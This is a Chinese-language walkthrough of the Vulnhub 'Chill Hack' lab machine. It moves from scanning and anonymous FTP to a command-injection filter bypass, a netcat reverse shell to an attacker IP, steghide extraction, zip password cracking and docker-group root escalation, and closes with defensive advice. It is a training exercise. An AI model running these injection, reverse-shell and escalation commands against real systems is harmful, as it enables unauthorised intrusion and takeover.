vulnhub Chill Hack
字数 993 2025-08-15 21:33:44

Chill Hack 靶机渗透测试教学文档

靶机基础信息

  • 名称:Chill Hack
  • 难度:中等偏易
  • 特点:思路清晰明确,容易操作
  • 发布日期:2021-02-07

环境搭建

  1. 从Vulnhub下载Chill Hack镜像
  2. 将镜像导入虚拟机软件(如VMware或VirtualBox)
  3. 启动靶机,确认运行正常

信息收集阶段

主机发现

nmap 192.168.1.0/24

端口扫描与服务识别

nmap -sV -p- -A 192.168.1.106

发现开放端口

  • 21/tcp - FTP
  • 22/tcp - SSH
  • 80/tcp - HTTP

渗透测试过程

FTP服务利用

  1. 匿名登录FTP:
ftp 192.168.1.106
用户名: anonymous
密码: (留空)
  1. 下载note.txt文件:
get note.txt

分析:note.txt内容无直接利用价值

Web服务枚举

  1. 访问HTTP服务:
http://192.168.1.106/
  1. 使用dirb进行目录扫描:
dirb http://192.168.1.106/

发现敏感目录

http://192.168.1.106/secret/

命令注入漏洞利用

  1. 测试命令注入:
http://192.168.1.106/secret/?command=id

发现:直接执行id命令成功

  1. 尝试列出目录时发现ls被过滤:
http://192.168.1.106/secret/?command=ls

绕过方法:使用分号分隔命令

http://192.168.1.106/secret/?command=id;ls
  1. 建立反向shell连接:
id;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.107 1234 >/tmp/f

注意:192.168.1.107为攻击者IP,1234为监听端口

  1. 升级为交互式shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'

本地信息收集

  1. 使用LinEnum进行本地枚举:
# 在攻击机启动HTTP服务
python -m SimpleHTTPServer 8000

# 在靶机下载LinEnum
wget http://192.168.1.107:8000/LinEnum.sh
chmod 777 LinEnum.sh
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
  1. 发现可疑文件:
# 下载可疑图片
wget http://192.168.1.108:8001/images/hacker-with-laptop_23-2147985341.jpg

隐写分析

  1. 使用steghide检查图片:
steghide info hacker-with-laptop_23-2147985341.jpg
  1. 提取隐藏文件:
steghide extract -sf hacker-with-laptop_23-2147985341.jpg

结果:提取出backup.zip压缩包

  1. 破解压缩包密码:
# 生成hash
zip2john backup.zip > backup.john

# 使用john破解
john --wordlist=/usr/share/wordlists/rockyou.txt backup.john

# 查看密码
john backup.john --show

获得密码:pass1word

  1. 解压并分析文件:
# 解压
unzip -P pass1word backup.zip

# 发现base64编码的密码
echo "加密字符串" | base64 -d

解密后密码:!d0ntKn0wmYp@ssw0rd

SSH登录

  1. 使用获取的凭据登录:
ssh anurodh@192.168.1.106
密码: !d0ntKn0wmYp@ssw0rd

权限提升

方法一:sudo权限检查

sudo -l

分析:检查可用的sudo权限

方法二:Docker组提权

  1. 确认用户属于docker组:
id
  1. 利用Docker组提权:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

原理:将主机根目录挂载到容器中,通过chroot获取root shell

获取flag

cd /root
cat flag.txt

关键知识点总结

  1. FTP匿名登录:检查是否允许匿名访问
  2. Web目录枚举:使用工具发现隐藏目录
  3. 命令注入绕过:分号分隔绕过过滤
  4. 反向shell建立:通过有限命令执行获取完整shell
  5. 隐写分析:使用steghide提取隐藏数据
  6. 密码破解:zip2john和john组合破解压缩包密码
  7. Docker组提权:利用docker组权限实现root权限获取

防御建议

  1. 禁用FTP匿名登录
  2. 对用户输入进行严格过滤
  3. 限制敏感命令的执行权限
  4. 避免在图片等文件中存储敏感信息
  5. 合理设置用户组权限,避免普通用户加入docker等特权组
Chill Hack 靶机渗透测试教学文档 靶机基础信息 名称:Chill Hack 难度:中等偏易 特点:思路清晰明确,容易操作 发布日期:2021-02-07 环境搭建 从Vulnhub下载Chill Hack镜像 将镜像导入虚拟机软件(如VMware或VirtualBox) 启动靶机,确认运行正常 信息收集阶段 主机发现 端口扫描与服务识别 发现开放端口 : 21/tcp - FTP 22/tcp - SSH 80/tcp - HTTP 渗透测试过程 FTP服务利用 匿名登录FTP: 下载note.txt文件: 分析 :note.txt内容无直接利用价值 Web服务枚举 访问HTTP服务: 使用dirb进行目录扫描: 发现敏感目录 : 命令注入漏洞利用 测试命令注入: 发现 :直接执行id命令成功 尝试列出目录时发现ls被过滤: 绕过方法 :使用分号分隔命令 建立反向shell连接: 注意 :192.168.1.107为攻击者IP,1234为监听端口 升级为交互式shell: 本地信息收集 使用LinEnum进行本地枚举: 发现可疑文件: 隐写分析 使用steghide检查图片: 提取隐藏文件: 结果 :提取出backup.zip压缩包 破解压缩包密码: 获得密码 :pass1word 解压并分析文件: 解密后密码 : !d0ntKn0wmYp@ssw0rd SSH登录 使用获取的凭据登录: 权限提升 方法一:sudo权限检查 分析 :检查可用的sudo权限 方法二:Docker组提权 确认用户属于docker组: 利用Docker组提权: 原理 :将主机根目录挂载到容器中,通过chroot获取root shell 获取flag 关键知识点总结 FTP匿名登录 :检查是否允许匿名访问 Web目录枚举 :使用工具发现隐藏目录 命令注入绕过 :分号分隔绕过过滤 反向shell建立 :通过有限命令执行获取完整shell 隐写分析 :使用steghide提取隐藏数据 密码破解 :zip2john和john组合破解压缩包密码 Docker组提权 :利用docker组权限实现root权限获取 防御建议 禁用FTP匿名登录 对用户输入进行严格过滤 限制敏感命令的执行权限 避免在图片等文件中存储敏感信息 合理设置用户组权限,避免普通用户加入docker等特权组